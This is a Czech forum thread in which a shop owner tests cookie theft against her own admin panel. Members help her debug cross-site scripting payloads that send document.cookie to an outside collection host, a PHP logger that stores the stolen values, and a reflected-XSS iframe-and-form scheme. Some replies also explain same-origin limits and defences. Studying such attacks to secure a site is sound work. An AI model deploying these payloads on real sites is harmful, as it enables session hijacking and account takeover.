Autor | Zpráva | ||
---|---|---|---|
stepanka Profil * |
#1 · Zasláno: 30. 12. 2009, 12:11:18
Ahoj,
mám eshop s administrační částí. Administrační část identifikuje přihlášeného admina pomocí cookies. Jiný způsob ošetření nemám (žádná IP adresa, autorizační klíče, ...), takže by to mělo být zranitelné a tato cookies by měla být relativně snadno odcizitelná. Ale ať dělám co dělám, nemůžu ji ukrást. Mám tady dva kompy, jeden pro útočníka, jeden pro oběť. Jako oběť se přihlásím do administrace. A jako útočník se na druhém počítači snažím tuto akitvní relaci od oběti ukrást. Jako útočník jsem si připravila dva skripty: ukazka.html <script>document.location.replace('http://obi.ic.cz/steal-cookie.php?cookie='+document.cookie);</script> steal-cookie.php <?php if (isset($_GET['cookie'])) { $soubor = fopen("./kod.txt", "w"); fwrite($soubor, $_GET['cookie']); fclose($soubor); } ?> oba na serveru obi.ic.cz E-shop obsahuje diskusi, která se zobrazuje administrátorům v administrační části, aby mohli uživatelům odpovídat. Vložím do diskuze příspěvek, kde uvedu odkaz obi.ic.cz/ukazka.html. Jako oběť se přihlásím do administrace a vidím diskuzi s novým příspěvkem. V příspěvku vidím adresu obi.ic.cz/ukazka.html. Odkazy ovšem nemám klikatelné, tudíž se zobrazí jako obyčejný text. Jako administrátor tedy odkaz zkopíruju, otevřu nový panel a vložím do adresního řádku. Cookies se takhle ale útočníkovi neodešle. Pokud neotvírám nový panel, a vložím zkopírovanou adresu přímo do aktivního okna s administrací, cookies se také neodešle. Chápu, že kdyby byl odkaz klikatelný, cookie by se nejspíš odeslala (netestováno), ale při kopírování adresy a jejím následném vkládání "někam", to dělá problém. A proto se chci zeptat - můžu jako útočník nějak získat aktivní cookies od admina a přihlásit se do administrace? Můžu v tom JS kódu nějak určit, ze které stránky bych tu cookie chtěla poslat? Doufám, že mi rozumíte. Předem mockrát děkuju. |
||
mckay Profil |
#2 · Zasláno: 30. 12. 2009, 12:21:20 · Upravil/a: mckay
stepanka:
Pokud tomu správně rozumím, identifikuje se pomocí hodnoty v cookie administrátor. Ta hodnota je číslo, nebo nějaký hash? Logicky bych se prostě přihlásil do administrace a přepsal si cookie na požadovanou hodnotu (ale nevím, jestli je to tak, jak to chcete). Tam by neměl být problém. Na jednom webu jsem četl, že se dá takto zneužít třeba obrázek, s javascriptovou adresou. Jestli je na shopu povolen obrázek, můžete mu zkusit zadat jako adresu javascript: document.location.replace('http://obi.ic.cz/steal-cookie.php?cookie='+document.cookie); |
||
vynalezce Profil |
#3 · Zasláno: 30. 12. 2009, 14:06:43 · Upravil/a: vynalezce
Použij raději toto:
<img id="obrazek" style="display:none"> <script> obrazek.src='http://obi.ic.cz/steal-cookie.php?cookie='+document.cookie; </script> a u PHP je lepší použít <?php if (isset($_GET['cookie'])) { $soubor = fopen("./kod.txt", "a"); fwrite($soubor, $_GET['cookie']); fwrite($soubor,"\n"); fclose($soubor); } ?> a otevře soubor pro pro připsání na konec w ho otevře pro přepsání obsahu vlastní cookie změníte tak, že toto napíšete do adresy javascript: document.cookie='ukradené cookies' potom stačí jít na adresu, kde už je admin přihlášen (ne login, ale například editor aktualit) |
||
stepanka Profil * |
#4 · Zasláno: 30. 12. 2009, 15:50:20
mckay, vynalezce:
Moc vám oběma děkuju za reakci. Ten kód, jak ho napsal vynálezce, funguje dobře.. jen nerozumím tomu, proč mi to uloží jen některé cookies, a ne všechny. Vždycky mi to uloží toto: __utma=37269118.1256620099.1262164523.1262164523.1262176447.2; __utmz=37269118.1262164523.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164108583.1776540076.1262164615.1262164615.1262178957.2; __utmz=164108583.1262164615.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmc=37269118; __utmc=164108583 přitom když si jako přihlášený administrátor zobrazím aktivní cookies třeba přes firebug a doplněk firecookie, mám tam ještě: PHPSESSID=4ecf4de7d547ceb3722634dd49f9084f ESHOP_JAZYK=cz PHPSESSID=934b9c37699eb59ae05367bf8283a6d6 ... a zrovna ty bych jako útočník potřebovala.. |
||
stepanka Profil * |
#5 · Zasláno: 30. 12. 2009, 15:59:41
mckay:
Jinak co se týká identifikace uživatele, tak při vstupu kontroluju jméno a heslo v databázi. Pokud jméno a heslo sedí, přiřadím do proměnné $_SESSION['login']['name'] jméno administrátora, které uchovávám až do doby, než klikne na "odhlásit". Cookies, neboli hash (např.: 4ecf4de7d547ceb3722634dd49f9084f), který mi přiřadí prohlížeč, ve skriptu nikde nepoužívám. |
||
vynalezce Profil |
#6 · Zasláno: 30. 12. 2009, 16:04:02 · Upravil/a: vynalezce
Pravděpodobně se část uloží jen proto, že mezi tím co se uloží a zbytkem je nějaký "oddělovací" znak například: "&"," ", atp.
Proto místo obrázku použijte toto: <form id="formular" method="post" action="http://obi.ic.cz/steal-cookie.php"> <input type="hidden" id="cookie"> </form> <script> formular.cookie.value=document.cookies formular.submit() </script> To by mělo problém vyřešit. PS. cookies zde přijdou přes POST ne přes GET |
||
tiso Profil |
#7 · Zasláno: 30. 12. 2009, 16:05:42
stepanka: to je síce pekné, ale pokiaľ niekto tú cookie získa, tak sa stane majiteľom tej session. To je podstata tohto útoku.
|
||
stepanka Profil * |
#8 · Zasláno: 30. 12. 2009, 17:06:15
vynalezce:
Nevíte, kde by v tom formuláři ještě mohla být chyba? Tak, jak jste ho napsal výše, nic neodesílá. Změnila jsem ho na: <form id="formular" method="post" action="http://obi.ic.cz/steal-cookie.php"> <input type="hidden" name="cookie"> // input neměl name, $_POST['cookie'] by pak nefungovalo </form> <script> formular.cookie.value=document.cookie; // cookie místo cookies formular.submit(); </script> Hodnoty změnila z GET na POST, ale nic neodešle. Už jsem ten formulář i celý nacpala do javascriptu a inputu přímo přiřadila value, ale taky nic.. |
||
stepanka Profil * |
#9 · Zasláno: 30. 12. 2009, 17:10:01
tiso:
Děkuju za reakci. Podstatě tohoto útoku rozumím. E-shop zatím z tohoto hlediska nijak zabezpečený není. A já ho chci zabezpečit. Než s tím ale začnu, chtěla jsem vědět, jakým způsobem to jde zneužít. Nebo jsi tím příspěvkem chěl říct něco jiného? Například, že bys přihlášeného uživatele identifikoval jiným způsobem? Pokud ano, budu ráda za každou radu. |
||
vynalezce Profil |
#10 · Zasláno: 30. 12. 2009, 17:18:45
stepanka:
„input neměl name, $_POST['cookie'] by pak nefungovalo“ A jo. Na to jsem zapomněl. Ten input musí mít i name i id takže: <input type="hidden" name="cookie" id="cookie"> |
||
Majkl578 Profil |
#11 · Zasláno: 30. 12. 2009, 17:19:39
stepanka:
„Podstatě tohoto útoku rozumím. E-shop zatím z tohoto hlediska nijak zabezpečený není.“ Podstata útoku je jednoduchá: útočník ukradne identifikátor session a použije ho jako vlastní. Pokud to není na serverové straně ošetřené, může získat stejný přístup jako oběť. Nejčastější ochrana je kontrola IP a třeba i hlavičky prohlížeče. Pokud se neshodují s údajem uloženým při vytvoření session, může jít o krádež session (ale nemusí, např. kvůli dynamické IP adrese, přesunu z access pointu restaurace k access pointu v práci apod.). |
||
stepanka Profil * |
#12 · Zasláno: 30. 12. 2009, 17:25:00
vynalezce:
Asi už mi od rána nemyslí.. ukazka.html <form id="formular" method="post" action="http://obi.ic.cz/steal-cookie.php"> <input type="hidden" name="cookie" id="cookie"> </form> <script> formular.cookie.value=document.cookie; formular.submit(); </script> steal-cookie.php <?php if (isset($_POST['cookie'])) { $soubor = fopen("./kod.txt", "a"); fwrite($soubor, $_POST['cookie']); fwrite($soubor,"\n"); fclose($soubor); } ?> ... ale tohle mi do souboru kod.txt nic neukládá.. |
||
stepanka Profil * |
#13 · Zasláno: 30. 12. 2009, 17:35:05
Majkl578:
Já vím, že podstata tohoto útoku je jednoduchá.. proto taky říkám, že jí rozumím. Kontrolovat IP adresu ani prohlížeč nechci. Kontrola IP adresy je nepohodlná pro uživatele a prohlížeč můžu mít stejný jako oběť.. Budu to nejspíš ošetřovat pomocí autorizačního klíče, který vygeneruju z počtu milisekund aktuálního času a zakóduju přes md5. Uložím do databáze a do session a při každé návštěvě stránky budu kontrolovat, jestli tyto dva záznamy sedí, jestli jsou stejné. Pokud ano, přepíšu oba opět na aktuální čas, zakóduju, atd.. Pokud nesedí, uživatele odhlásím ze systému. Ale to je jen první, co mě napadlo, musím nad tím ještě pořádně popřemýšlet. |
||
Majkl578 Profil |
#14 · Zasláno: 30. 12. 2009, 18:43:07
stepanka:
„Budu to nejspíš ošetřovat pomocí autorizačního klíče, který vygeneruju z počtu milisekund aktuálního času a zakóduju přes md5. Uložím do databáze a do session a při každé návštěvě stránky budu kontrolovat, jestli tyto dva záznamy sedí, jestli jsou stejné. Pokud ano, přepíšu oba opět na aktuální čas, zakóduju, atd.. Pokud nesedí, uživatele odhlásím ze systému.“ Tohle nic neřeší, pokud útočník i oběť mají stejné session id, tak budou mít stejné údaje. Data dané session se ukládají na serveru. |
||
vynalezce Profil |
#15 · Zasláno: 30. 12. 2009, 19:11:06
zkus změnit formular.cookie.value na
stcookie.value Ps.změň i id inputu hlásí totiž formular isn't defined otazka je co se submit() |
||
stepanka Profil * |
#16 · Zasláno: 30. 12. 2009, 20:00:45
vynalezce:
Nakonec mi to začalo fungovat až tímto způsobem: <form name="formular" method="post" action="http://obi.ic.cz/steal-cookie.php"> <input type="text" name="stcookie" style="display:none"> </form> <script> document.formular.stcookie.value = document.cookie; document.formular.submit(); </script> Ale pořád mi to ukládá jen ty cookies uvedené výše (_utma, __utmb, ...), tzn. bez PHPSESSID :-( |
||
vynalezce Profil |
#17 · Zasláno: 30. 12. 2009, 20:17:23
zkus alert(document.cookie)
je tam videt session? |
||
stepanka Profil * |
#18 · Zasláno: 30. 12. 2009, 20:35:13
vynalezce:
alert(document.cookie) obsahuje pořád jen ty __utma, __utmb, atd. Jedině když přímo ve skriptu e-shopu vypíšu natvrdo session_id(); tak mi to vypíše na stránku ten správný řetězec. Snažím se teď nacpat do toho Javascriptu PHP kód, který mi tam zobrazí právě tuto hodnotu, ale moc to ten Javascript nechce brát.. |
||
stepanka Profil * |
#19 · Zasláno: 30. 12. 2009, 20:55:33
Majkl578:
Aha, asi máš pravdu. Když nad tím přemýšlím, nějaký zádrhel tam asi opravdu bude. Zkusím popřemýšlet nad nějakou alternativou, protože kontrola IP a prohlížeče mi přijde taková divná. |
||
vynalezce Profil |
#20 · Zasláno: 30. 12. 2009, 21:04:44
máš ten js na webu s eshopem?
|
||
stepanka Profil * |
#21 · Zasláno: 30. 12. 2009, 21:10:28
vynalezce:
Ne přímo, mám tam odkaz na obi.ic.cz/ukazka.html, a na ten klikám. Obsah toho souboru ukazka.html je o 5 příspěvků výš. Děkuju, že mi pomáháš. Nejde mi do hlavy, proč ten prohlížeč vyplivne jen tyto cookies, a proč ne všechny.. |
||
stepanka Profil * |
#22 · Zasláno: 30. 12. 2009, 22:22:37
Aha, tak jsem přišla na to, že ty cookies, které mi to vypíše, jsou aktivní pouze pro doménu obi.ic.cz (nebo pro tu stránku na něm: obi.ic.cz/ukazka.html).
Žádnou z těch cookies, které jsou aktivní pro stránku s e-shopem, ve kterém jsem jako administrátor přihlášená, mi to nevypíše. Pokud dám přímo do skriptu e-shopu: ?> <script>alert(document.cookie);</script> <?php vypíše mi to všechny cookies, které jako útočník potřebuju. Čili cookies aktivní pro stránku s e-shopem. Když ale klikám v administraci na nějaký odkaz, už mi to vypíše cookies aktivní pro stránku, na kterou jsem klikla (což je mi jako útočníkovi k ničemu) To je zvláštní, už jsem z toho trochu jelen. Jak se potom dá tento útok provést, když přes odkaz to nejde? |
||
avaster Profil |
#23 · Zasláno: 30. 12. 2009, 23:54:55
chcel by som sa spitat, ci na takyto typ utoku je postacujuce mat nastavene session.cookie_httponly ?
|
||
AM_ Profil |
#24 · Zasláno: 31. 12. 2009, 13:40:59
Docela se divím, že to sem nenapsal ještě někdo jiný, vždyť tohle nemůže fungovat! potěš pánbůh kdyby ano, to už bysme měli asi všichni všechny elektronické služby vykradené.
<script> document.formular.stcookie.value = document.cookie; document.formular.submit(); </script> pokud si tohle nebo cokoliv jiného pustíte na svém webu, jasně, že to vypíše cookies z vašeho webu, a žádné jiné! váš prohlížeč věštit neumí, tak nemůže vědět, že jste chtěli cookies jiného v něm otevřeného webu. Ostatně ikdyby jste mu to řekli, tak vám to nedovolí - přesně z těchto důvodů, nikomu nic není do cookie cizího webu. Útoky s kradením cookies spočívají v tom, že na napadenou stránku nějak propašujete kus svého JavaScript kódu (nejčastěji přes nějaký špatně ošetřený vstup): <script>ajax_send('webutocnika.cz/accept_cookie.php', document.cookie);</script> Častá chyba bývá v tom, že vstupy echované v JavaScriptu nejsou ošetřené proti ukončení skriptu (</script>) např. takto: <script type="text/javascript"> alert('<?php echo addslashes($user_message); ?>'); </script> tento kód je zranitelný, ikdyž se v něm nachází addslashes - proč? zkuste si jako user_message doplnit "</script><script>ajax_send(...) ; alert('a". <script type="text/javascript"> alert('</script><script>ajax_send(...); alert('a'); </script> jelikož HTML parser určuje, kde začíná a končí javascript, zatučněnou část předá javascriptu, ta neudělá nic, protože je v ní syntaktická chyba; druhý JavaScript se vykoná, jak má. |
||
stepanka Profil * |
#25 · Zasláno: 1. 1. 2010, 11:26:39
AM:
moc děkuju za příspěvek. |
||
Časová prodleva: 3 dny
|
|||
stepanka Profil * |
#26 · Zasláno: 4. 1. 2010, 14:46:56
Když je v administraci webu jediné místo zranitelné na XSS, a to přihlašovací formulář do administrace, můžu ho nějak využít k útoku?
Když do pole "jméno" zadám "<script>alert('XSS')</script>, vyskočí mi vyskakovací okno s nápisem XSS. Vím, že vložit nějaký JavaScript natrvalo (který by mi odeslal cookie přihlášeného administrátora) tam nemůžu.. Mohlo by to jít nějak zneužít i přes tuto "dočasnou" XSS chybu? |
||
vynalezce Profil |
#27 · Zasláno: 4. 1. 2010, 15:40:55
stepanka:
> Když je v administraci webu jediné místo zranitelné na XSS, a to přihlašovací formulář do administrace, můžu ho nějak využít k útoku? > > Když do pole "jméno" zadám "<script>alert('XSS')</script>, vyskočí mi vyskakovací okno s nápisem XSS. Vím, že vložit nějaký JavaScript natrvalo (který by mi odeslal cookie přihlášeného administrátora) tam nemůžu.. Mohlo by to jít nějak zneužít i přes tuto "dočasnou" XSS chybu? Ano, pomocí frame vložíš do svého webu další část, ve které bude formulář (odesílaný na adresu loginu)(v tom formuláři bude něco, co využije zranitelnosti) a JS, který formulář odešle |
||
stepanka Profil * |
#28 · Zasláno: 4. 1. 2010, 15:49:09
vynalezce:
Ale to bych si musela jako útočník vytvořit vzhledově stejné stránky na jiném serveru, a jen tam doplnit do formuláře JavaScript, ne? Spíš přemýšlím o zranitelnosti na serveru s e-shopem, protož bránit se proti tomu, aby mi někdo nezkopíroval zdrojový HTML a nevytvořil si stejnou stránku na jiné adrese, moc nedá.. |
||
vynalezce Profil |
#29 · Zasláno: 4. 1. 2010, 15:59:17
stepanka:
„Ale to bych si musela jako útočník vytvořit vzhledově stejné stránky na jiném serveru, a jen tam doplnit do formuláře JavaScript, ne?“ Ne, to by mohla udělat libovolná webová stránka. Tam jde o to, že by jen na ní byl zkrytý <iframe>. Ten by vedl na adresu, kde by byl: 1)<form action="loginNaTomWebu.php" method="post"> 2)v něm nějaké inputy - jeden z nich má v sobě script, který toho xss zneužije 3)JS, který po načtení odešle form |
||
stepanka Profil * |
#30 · Zasláno: 4. 1. 2010, 16:24:35
vynalezce:
Moc Ti děkuju za snahu mi poradit, ale ještě mi trochu uniká, jak by se ten administrátor přihlásil. Můžu vytvořit stejné přihlašovací okno na jiném serveru, ale musím doufat, že si ten administrátor nevšimne jiné URL v adresním řádku. Tomu rozumím. Ale jak můžu vložit iframe přímo do stránky loginu v e-shopu, to mi hlava nebere. Nemám ho tam jak dostat. Aby takový XSS útok mohl fungovat, administrátor by musel (podle mě) vyplnit údaje na jiné (klidně vzhledově stejné) stránce.. |
||
Téma pokračuje na další straně.
|
0